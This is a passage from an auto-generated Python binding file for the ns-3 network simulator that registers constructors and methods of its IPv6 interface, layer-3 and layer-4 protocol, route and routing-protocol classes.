## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionLooseRoutingHeader::SetRouterAddress(uint8_t index, ns3::Ipv6Address addr) [member function]
cls.add_method('SetRouterAddress',
'void',
[param('uint8_t', 'index'), param('ns3::Ipv6Address', 'addr')])
## ipv6-extension-header.h (module 'internet'): void ns3::Ipv6ExtensionLooseRoutingHeader::SetRoutersAddress(std::vector<ns3::Ipv6Address, std::allocator<ns3::Ipv6Address> > routersAddress) [member function]
cls.add_method('SetRoutersAddress',
'void',
[param('std::vector< ns3::Ipv6Address >', 'routersAddress')])
return
def register_Ns3Ipv6Interface_methods(root_module, cls):
## ipv6-interface.h (module 'internet'): ns3::Ipv6Interface::Ipv6Interface(ns3::Ipv6Interface const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6Interface const &', 'arg0')])
## ipv6-interface.h (module 'internet'): ns3::Ipv6Interface::Ipv6Interface() [constructor]
cls.add_constructor([])
## ipv6-interface.h (module 'internet'): bool ns3::Ipv6Interface::AddAddress(ns3::Ipv6InterfaceAddress iface) [member function]
cls.add_method('AddAddress',
'bool',
[param('ns3::Ipv6InterfaceAddress', 'iface')])
## ipv6-interface.h (module 'internet'): ns3::Ipv6InterfaceAddress ns3::Ipv6Interface::GetAddress(uint32_t index) const [member function]
cls.add_method('GetAddress',
'ns3::Ipv6InterfaceAddress',
[param('uint32_t', 'index')],
is_const=True)
## ipv6-interface.h (module 'internet'): ns3::Ipv6InterfaceAddress ns3::Ipv6Interface::GetAddressMatchingDestination(ns3::Ipv6Address dst) [member function]
cls.add_method('GetAddressMatchingDestination',
'ns3::Ipv6InterfaceAddress',
[param('ns3::Ipv6Address', 'dst')])
## ipv6-interface.h (module 'internet'): uint16_t ns3::Ipv6Interface::GetBaseReachableTime() const [member function]
cls.add_method('GetBaseReachableTime',
'uint16_t',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): uint8_t ns3::Ipv6Interface::GetCurHopLimit() const [member function]
cls.add_method('GetCurHopLimit',
'uint8_t',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv6Interface::GetDevice() const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[],
is_const=True, is_virtual=True)
## ipv6-interface.h (module 'internet'): ns3::Ipv6InterfaceAddress ns3::Ipv6Interface::GetLinkLocalAddress() const [member function]
cls.add_method('GetLinkLocalAddress',
'ns3::Ipv6InterfaceAddress',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): uint16_t ns3::Ipv6Interface::GetMetric() const [member function]
cls.add_method('GetMetric',
'uint16_t',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): uint32_t ns3::Ipv6Interface::GetNAddresses() const [member function]
cls.add_method('GetNAddresses',
'uint32_t',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): uint16_t ns3::Ipv6Interface::GetReachableTime() const [member function]
cls.add_method('GetReachableTime',
'uint16_t',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): uint16_t ns3::Ipv6Interface::GetRetransTimer() const [member function]
cls.add_method('GetRetransTimer',
'uint16_t',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): static ns3::TypeId ns3::Ipv6Interface::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-interface.h (module 'internet'): bool ns3::Ipv6Interface::IsDown() const [member function]
cls.add_method('IsDown',
'bool',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): bool ns3::Ipv6Interface::IsForwarding() const [member function]
cls.add_method('IsForwarding',
'bool',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): bool ns3::Ipv6Interface::IsUp() const [member function]
cls.add_method('IsUp',
'bool',
[],
is_const=True)
## ipv6-interface.h (module 'internet'): ns3::Ipv6InterfaceAddress ns3::Ipv6Interface::RemoveAddress(uint32_t index) [member function]
cls.add_method('RemoveAddress',
'ns3::Ipv6InterfaceAddress',
[param('uint32_t', 'index')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::Send(ns3::Ptr<ns3::Packet> p, ns3::Ipv6Address dest) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv6Address', 'dest')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetBaseReachableTime(uint16_t baseReachableTime) [member function]
cls.add_method('SetBaseReachableTime',
'void',
[param('uint16_t', 'baseReachableTime')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetCurHopLimit(uint8_t curHopLimit) [member function]
cls.add_method('SetCurHopLimit',
'void',
[param('uint8_t', 'curHopLimit')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetDevice(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('SetDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetDown() [member function]
cls.add_method('SetDown',
'void',
[])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetForwarding(bool forward) [member function]
cls.add_method('SetForwarding',
'void',
[param('bool', 'forward')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetMetric(uint16_t metric) [member function]
cls.add_method('SetMetric',
'void',
[param('uint16_t', 'metric')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetNsDadUid(ns3::Ipv6Address address, uint32_t uid) [member function]
cls.add_method('SetNsDadUid',
'void',
[param('ns3::Ipv6Address', 'address'), param('uint32_t', 'uid')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetReachableTime(uint16_t reachableTime) [member function]
cls.add_method('SetReachableTime',
'void',
[param('uint16_t', 'reachableTime')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetRetransTimer(uint16_t retransTimer) [member function]
cls.add_method('SetRetransTimer',
'void',
[param('uint16_t', 'retransTimer')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetState(ns3::Ipv6Address address, ns3::Ipv6InterfaceAddress::State_e state) [member function]
cls.add_method('SetState',
'void',
[param('ns3::Ipv6Address', 'address'), param('ns3::Ipv6InterfaceAddress::State_e', 'state')])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::SetUp() [member function]
cls.add_method('SetUp',
'void',
[])
## ipv6-interface.h (module 'internet'): void ns3::Ipv6Interface::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3Ipv6L3Protocol_methods(root_module, cls):
## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6L3Protocol::PROT_NUMBER [variable]
cls.add_static_attribute('PROT_NUMBER', 'uint16_t const', is_const=True)
## ipv6-l3-protocol.h (module 'internet'): static ns3::TypeId ns3::Ipv6L3Protocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6L3Protocol::Ipv6L3Protocol() [constructor]
cls.add_constructor([])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Insert(ns3::Ptr<ns3::Ipv6L4Protocol> protocol) [member function]
cls.add_method('Insert',
'void',
[param('ns3::Ptr< ns3::Ipv6L4Protocol >', 'protocol')])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Remove(ns3::Ptr<ns3::Ipv6L4Protocol> protocol) [member function]
cls.add_method('Remove',
'void',
[param('ns3::Ptr< ns3::Ipv6L4Protocol >', 'protocol')])
## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv6L4Protocol> ns3::Ipv6L3Protocol::GetProtocol(int protocolNumber) const [member function]
cls.add_method('GetProtocol',
'ns3::Ptr< ns3::Ipv6L4Protocol >',
[param('int', 'protocolNumber')],
is_const=True)
## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Socket> ns3::Ipv6L3Protocol::CreateRawSocket() [member function]
cls.add_method('CreateRawSocket',
'ns3::Ptr< ns3::Socket >',
[])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::DeleteRawSocket(ns3::Ptr<ns3::Socket> socket) [member function]
cls.add_method('DeleteRawSocket',
'void',
[param('ns3::Ptr< ns3::Socket >', 'socket')])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetDefaultTtl(uint8_t ttl) [member function]
cls.add_method('SetDefaultTtl',
'void',
[param('uint8_t', 'ttl')])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Receive(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<const ns3::Packet> p, uint16_t protocol, ns3::Address const & from, ns3::Address const & to, ns3::NetDevice::PacketType packetType) [member function]
cls.add_method('Receive',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::Packet const >', 'p'), param('uint16_t', 'protocol'), param('ns3::Address const &', 'from'), param('ns3::Address const &', 'to'), param('ns3::NetDevice::PacketType', 'packetType')])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv6Address source, ns3::Ipv6Address destination, uint8_t protocol, ns3::Ptr<ns3::Ipv6Route> route) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv6Address', 'source'), param('ns3::Ipv6Address', 'destination'), param('uint8_t', 'protocol'), param('ns3::Ptr< ns3::Ipv6Route >', 'route')])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetRoutingProtocol(ns3::Ptr<ns3::Ipv6RoutingProtocol> routingProtocol) [member function]
cls.add_method('SetRoutingProtocol',
'void',
[param('ns3::Ptr< ns3::Ipv6RoutingProtocol >', 'routingProtocol')],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv6RoutingProtocol> ns3::Ipv6L3Protocol::GetRoutingProtocol() const [member function]
cls.add_method('GetRoutingProtocol',
'ns3::Ptr< ns3::Ipv6RoutingProtocol >',
[],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv6L3Protocol::AddInterface(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('AddInterface',
'uint32_t',
[param('ns3::Ptr< ns3::NetDevice >', 'device')],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv6Interface> ns3::Ipv6L3Protocol::GetInterface(uint32_t i) const [member function]
cls.add_method('GetInterface',
'ns3::Ptr< ns3::Ipv6Interface >',
[param('uint32_t', 'i')],
is_const=True)
## ipv6-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv6L3Protocol::GetNInterfaces() const [member function]
cls.add_method('GetNInterfaces',
'uint32_t',
[],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): int32_t ns3::Ipv6L3Protocol::GetInterfaceForAddress(ns3::Ipv6Address addr) const [member function]
cls.add_method('GetInterfaceForAddress',
'int32_t',
[param('ns3::Ipv6Address', 'addr')],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): int32_t ns3::Ipv6L3Protocol::GetInterfaceForPrefix(ns3::Ipv6Address addr, ns3::Ipv6Prefix mask) const [member function]
cls.add_method('GetInterfaceForPrefix',
'int32_t',
[param('ns3::Ipv6Address', 'addr'), param('ns3::Ipv6Prefix', 'mask')],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): int32_t ns3::Ipv6L3Protocol::GetInterfaceForDevice(ns3::Ptr<const ns3::NetDevice> device) const [member function]
cls.add_method('GetInterfaceForDevice',
'int32_t',
[param('ns3::Ptr< ns3::NetDevice const >', 'device')],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::AddAddress(uint32_t i, ns3::Ipv6InterfaceAddress address) [member function]
cls.add_method('AddAddress',
'bool',
[param('uint32_t', 'i'), param('ns3::Ipv6InterfaceAddress', 'address')],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6InterfaceAddress ns3::Ipv6L3Protocol::GetAddress(uint32_t interfaceIndex, uint32_t addressIndex) const [member function]
cls.add_method('GetAddress',
'ns3::Ipv6InterfaceAddress',
[param('uint32_t', 'interfaceIndex'), param('uint32_t', 'addressIndex')],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv6L3Protocol::GetNAddresses(uint32_t interface) const [member function]
cls.add_method('GetNAddresses',
'uint32_t',
[param('uint32_t', 'interface')],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::RemoveAddress(uint32_t interfaceIndex, uint32_t addressIndex) [member function]
cls.add_method('RemoveAddress',
'bool',
[param('uint32_t', 'interfaceIndex'), param('uint32_t', 'addressIndex')],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetMetric(uint32_t i, uint16_t metric) [member function]
cls.add_method('SetMetric',
'void',
[param('uint32_t', 'i'), param('uint16_t', 'metric')],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): uint16_t ns3::Ipv6L3Protocol::GetMetric(uint32_t i) const [member function]
cls.add_method('GetMetric',
'uint16_t',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): uint16_t ns3::Ipv6L3Protocol::GetMtu(uint32_t i) const [member function]
cls.add_method('GetMtu',
'uint16_t',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::IsUp(uint32_t i) const [member function]
cls.add_method('IsUp',
'bool',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetUp(uint32_t i) [member function]
cls.add_method('SetUp',
'void',
[param('uint32_t', 'i')],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetDown(uint32_t i) [member function]
cls.add_method('SetDown',
'void',
[param('uint32_t', 'i')],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::IsForwarding(uint32_t i) const [member function]
cls.add_method('IsForwarding',
'bool',
[param('uint32_t', 'i')],
is_const=True, is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetForwarding(uint32_t i, bool val) [member function]
cls.add_method('SetForwarding',
'void',
[param('uint32_t', 'i'), param('bool', 'val')],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv6L3Protocol::GetNetDevice(uint32_t i) [member function]
cls.add_method('GetNetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'i')],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Icmpv6L4Protocol> ns3::Ipv6L3Protocol::GetIcmpv6() const [member function]
cls.add_method('GetIcmpv6',
'ns3::Ptr< ns3::Icmpv6L4Protocol >',
[],
is_const=True)
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::AddAutoconfiguredAddress(uint32_t interface, ns3::Ipv6Address network, ns3::Ipv6Prefix mask, uint8_t flags, uint32_t validTime, uint32_t preferredTime, ns3::Ipv6Address defaultRouter=ns3::Ipv6Address::GetZero( )) [member function]
cls.add_method('AddAutoconfiguredAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'mask'), param('uint8_t', 'flags'), param('uint32_t', 'validTime'), param('uint32_t', 'preferredTime'), param('ns3::Ipv6Address', 'defaultRouter', default_value='ns3::Ipv6Address::GetZero( )')])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::RemoveAutoconfiguredAddress(uint32_t interface, ns3::Ipv6Address network, ns3::Ipv6Prefix mask, ns3::Ipv6Address defaultRouter) [member function]
cls.add_method('RemoveAutoconfiguredAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'mask'), param('ns3::Ipv6Address', 'defaultRouter')])
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::RegisterExtensions() [member function]
cls.add_method('RegisterExtensions',
'void',
[],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::RegisterOptions() [member function]
cls.add_method('RegisterOptions',
'void',
[],
is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
visibility='protected', is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetIpForward(bool forward) [member function]
cls.add_method('SetIpForward',
'void',
[param('bool', 'forward')],
visibility='private', is_virtual=True)
## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::GetIpForward() const [member function]
cls.add_method('GetIpForward',
'bool',
[],
is_const=True, visibility='private', is_virtual=True)
return
def register_Ns3Ipv6L4Protocol_methods(root_module, cls):
## ipv6-l4-protocol.h (module 'internet'): ns3::Ipv6L4Protocol::Ipv6L4Protocol() [constructor]
cls.add_constructor([])
## ipv6-l4-protocol.h (module 'internet'): ns3::Ipv6L4Protocol::Ipv6L4Protocol(ns3::Ipv6L4Protocol const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6L4Protocol const &', 'arg0')])
## ipv6-l4-protocol.h (module 'internet'): int ns3::Ipv6L4Protocol::GetProtocolNumber() const [member function]
cls.add_method('GetProtocolNumber',
'int',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## ipv6-l4-protocol.h (module 'internet'): static ns3::TypeId ns3::Ipv6L4Protocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-l4-protocol.h (module 'internet'): ns3::Ipv6L4Protocol::RxStatus_e ns3::Ipv6L4Protocol::Receive(ns3::Ptr<ns3::Packet> p, ns3::Ipv6Address const & src, ns3::Ipv6Address const & dst, ns3::Ptr<ns3::Ipv6Interface> incomingInterface) [member function]
cls.add_method('Receive',
'ns3::Ipv6L4Protocol::RxStatus_e',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv6Address const &', 'src'), param('ns3::Ipv6Address const &', 'dst'), param('ns3::Ptr< ns3::Ipv6Interface >', 'incomingInterface')],
is_pure_virtual=True, is_virtual=True)
## ipv6-l4-protocol.h (module 'internet'): void ns3::Ipv6L4Protocol::ReceiveIcmp(ns3::Ipv6Address icmpSource, uint8_t icmpTtl, uint8_t icmpType, uint8_t icmpCode, uint32_t icmpInfo, ns3::Ipv6Address payloadSource, ns3::Ipv6Address payloadDestination, uint8_t const * payload) [member function]
cls.add_method('ReceiveIcmp',
'void',
[param('ns3::Ipv6Address', 'icmpSource'), param('uint8_t', 'icmpTtl'), param('uint8_t', 'icmpType'), param('uint8_t', 'icmpCode'), param('uint32_t', 'icmpInfo'), param('ns3::Ipv6Address', 'payloadSource'), param('ns3::Ipv6Address', 'payloadDestination'), param('uint8_t const *', 'payload')],
is_virtual=True)
return
def register_Ns3Ipv6MulticastRoute_methods(root_module, cls):
cls.add_output_stream_operator()
## ipv6-route.h (module 'internet'): ns3::Ipv6MulticastRoute::Ipv6MulticastRoute(ns3::Ipv6MulticastRoute const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6MulticastRoute const &', 'arg0')])
## ipv6-route.h (module 'internet'): ns3::Ipv6MulticastRoute::Ipv6MulticastRoute() [constructor]
cls.add_constructor([])
## ipv6-route.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6MulticastRoute::GetGroup() const [member function]
cls.add_method('GetGroup',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-route.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6MulticastRoute::GetOrigin() const [member function]
cls.add_method('GetOrigin',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-route.h (module 'internet'): uint32_t ns3::Ipv6MulticastRoute::GetOutputTtl(uint32_t oif) [member function]
cls.add_method('GetOutputTtl',
'uint32_t',
[param('uint32_t', 'oif')],
deprecated=True)
## ipv6-route.h (module 'internet'): std::map<unsigned int, unsigned int, std::less<unsigned int>, std::allocator<std::pair<unsigned int const, unsigned int> > > ns3::Ipv6MulticastRoute::GetOutputTtlMap() const [member function]
cls.add_method('GetOutputTtlMap',
'std::map< unsigned int, unsigned int >',
[],
is_const=True)
## ipv6-route.h (module 'internet'): uint32_t ns3::Ipv6MulticastRoute::GetParent() const [member function]
cls.add_method('GetParent',
'uint32_t',
[],
is_const=True)
## ipv6-route.h (module 'internet'): void ns3::Ipv6MulticastRoute::SetGroup(ns3::Ipv6Address const group) [member function]
cls.add_method('SetGroup',
'void',
[param('ns3::Ipv6Address const', 'group')])
## ipv6-route.h (module 'internet'): void ns3::Ipv6MulticastRoute::SetOrigin(ns3::Ipv6Address const origin) [member function]
cls.add_method('SetOrigin',
'void',
[param('ns3::Ipv6Address const', 'origin')])
## ipv6-route.h (module 'internet'): void ns3::Ipv6MulticastRoute::SetOutputTtl(uint32_t oif, uint32_t ttl) [member function]
cls.add_method('SetOutputTtl',
'void',
[param('uint32_t', 'oif'), param('uint32_t', 'ttl')])
## ipv6-route.h (module 'internet'): void ns3::Ipv6MulticastRoute::SetParent(uint32_t iif) [member function]
cls.add_method('SetParent',
'void',
[param('uint32_t', 'iif')])
## ipv6-route.h (module 'internet'): ns3::Ipv6MulticastRoute::MAX_INTERFACES [variable]
cls.add_static_attribute('MAX_INTERFACES', 'uint32_t const', is_const=True)
## ipv6-route.h (module 'internet'): ns3::Ipv6MulticastRoute::MAX_TTL [variable]
cls.add_static_attribute('MAX_TTL', 'uint32_t const', is_const=True)
return
def register_Ns3Ipv6PrefixChecker_methods(root_module, cls):
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker::Ipv6PrefixChecker() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker::Ipv6PrefixChecker(ns3::Ipv6PrefixChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6PrefixChecker const &', 'arg0')])
return
def register_Ns3Ipv6PrefixValue_methods(root_module, cls):
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue() [constructor]
cls.add_constructor([])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue(ns3::Ipv6PrefixValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6PrefixValue const &', 'arg0')])
## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue(ns3::Ipv6Prefix const & value) [constructor]
cls.add_constructor([param('ns3::Ipv6Prefix const &', 'value')])
## ipv6-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv6PrefixValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## ipv6-address.h (module 'network'): bool ns3::Ipv6PrefixValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## ipv6-address.h (module 'network'): ns3::Ipv6Prefix ns3::Ipv6PrefixValue::Get() const [member function]
cls.add_method('Get',
'ns3::Ipv6Prefix',
[],
is_const=True)
## ipv6-address.h (module 'network'): std::string ns3::Ipv6PrefixValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## ipv6-address.h (module 'network'): void ns3::Ipv6PrefixValue::Set(ns3::Ipv6Prefix const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::Ipv6Prefix const &', 'value')])
return
def register_Ns3Ipv6RawSocketFactory_methods(root_module, cls):
## ipv6-raw-socket-factory.h (module 'internet'): ns3::Ipv6RawSocketFactory::Ipv6RawSocketFactory() [constructor]
cls.add_constructor([])
## ipv6-raw-socket-factory.h (module 'internet'): ns3::Ipv6RawSocketFactory::Ipv6RawSocketFactory(ns3::Ipv6RawSocketFactory const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6RawSocketFactory const &', 'arg0')])
## ipv6-raw-socket-factory.h (module 'internet'): static ns3::TypeId ns3::Ipv6RawSocketFactory::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
return
def register_Ns3Ipv6Route_methods(root_module, cls):
cls.add_output_stream_operator()
## ipv6-route.h (module 'internet'): ns3::Ipv6Route::Ipv6Route(ns3::Ipv6Route const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6Route const &', 'arg0')])
## ipv6-route.h (module 'internet'): ns3::Ipv6Route::Ipv6Route() [constructor]
cls.add_constructor([])
## ipv6-route.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6Route::GetDestination() const [member function]
cls.add_method('GetDestination',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-route.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6Route::GetGateway() const [member function]
cls.add_method('GetGateway',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-route.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv6Route::GetOutputDevice() const [member function]
cls.add_method('GetOutputDevice',
'ns3::Ptr< ns3::NetDevice >',
[],
is_const=True)
## ipv6-route.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6Route::GetSource() const [member function]
cls.add_method('GetSource',
'ns3::Ipv6Address',
[],
is_const=True)
## ipv6-route.h (module 'internet'): void ns3::Ipv6Route::SetDestination(ns3::Ipv6Address dest) [member function]
cls.add_method('SetDestination',
'void',
[param('ns3::Ipv6Address', 'dest')])
## ipv6-route.h (module 'internet'): void ns3::Ipv6Route::SetGateway(ns3::Ipv6Address gw) [member function]
cls.add_method('SetGateway',
'void',
[param('ns3::Ipv6Address', 'gw')])
## ipv6-route.h (module 'internet'): void ns3::Ipv6Route::SetOutputDevice(ns3::Ptr<ns3::NetDevice> outputDevice) [member function]
cls.add_method('SetOutputDevice',
'void',
[param('ns3::Ptr< ns3::NetDevice >', 'outputDevice')])
## ipv6-route.h (module 'internet'): void ns3::Ipv6Route::SetSource(ns3::Ipv6Address src) [member function]
cls.add_method('SetSource',
'void',
[param('ns3::Ipv6Address', 'src')])
return
def register_Ns3Ipv6RoutingProtocol_methods(root_module, cls):
## ipv6-routing-protocol.h (module 'internet'): ns3::Ipv6RoutingProtocol::Ipv6RoutingProtocol() [constructor]
cls.add_constructor([])
## ipv6-routing-protocol.h (module 'internet'): ns3::Ipv6RoutingProtocol::Ipv6RoutingProtocol(ns3::Ipv6RoutingProtocol const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Ipv6RoutingProtocol const &', 'arg0')])
## ipv6-routing-protocol.h (module 'internet'): static ns3::TypeId ns3::Ipv6RoutingProtocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## ipv6-routing-protocol.h (module 'internet'): void ns3::Ipv6RoutingProtocol::NotifyAddAddress(uint32_t interface, ns3::Ipv6InterfaceAddress address) [member function]
cls.add_method('NotifyAddAddress',
'void',
[param('uint32_t', 'interface'), param('ns3::Ipv6InterfaceAddress', 'address')],
is_pure_virtual=True, is_virtual=True)
## ipv6-routing-protocol.h (module 'internet'): void ns3::Ipv6RoutingProtocol::NotifyAddRoute(ns3::Ipv6Address dst, ns3::Ipv6Prefix mask, ns3::Ipv6Address nextHop, uint32_t interface, ns3::Ipv6Address prefixToUse=ns3::Ipv6Address::GetZero( )) [member function]
cls.add_method('NotifyAddRoute',
'void',
[param('ns3::Ipv6Address', 'dst'), param('ns3::Ipv6Prefix', 'mask'), param('ns3::Ipv6Address', 'nextHop'), param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'prefixToUse', default_value='ns3::Ipv6Address::GetZero( )')],
is_pure_virtual=True, is_virtual=True)
## ipv6-routing-protocol.h (module 'internet'): void ns3::Ipv6RoutingProtocol::NotifyInterfaceDown(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceDown',
'void',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
## ipv6-routing-protocol.h (module 'internet'): void ns3::Ipv6RoutingProtocol::NotifyInterfaceUp(uint32_t interface) [member function]
cls.add_method('NotifyInterfaceUp',
'void',
[param('uint32_t', 'interface')],
is_pure_virtual=True, is_virtual=True)
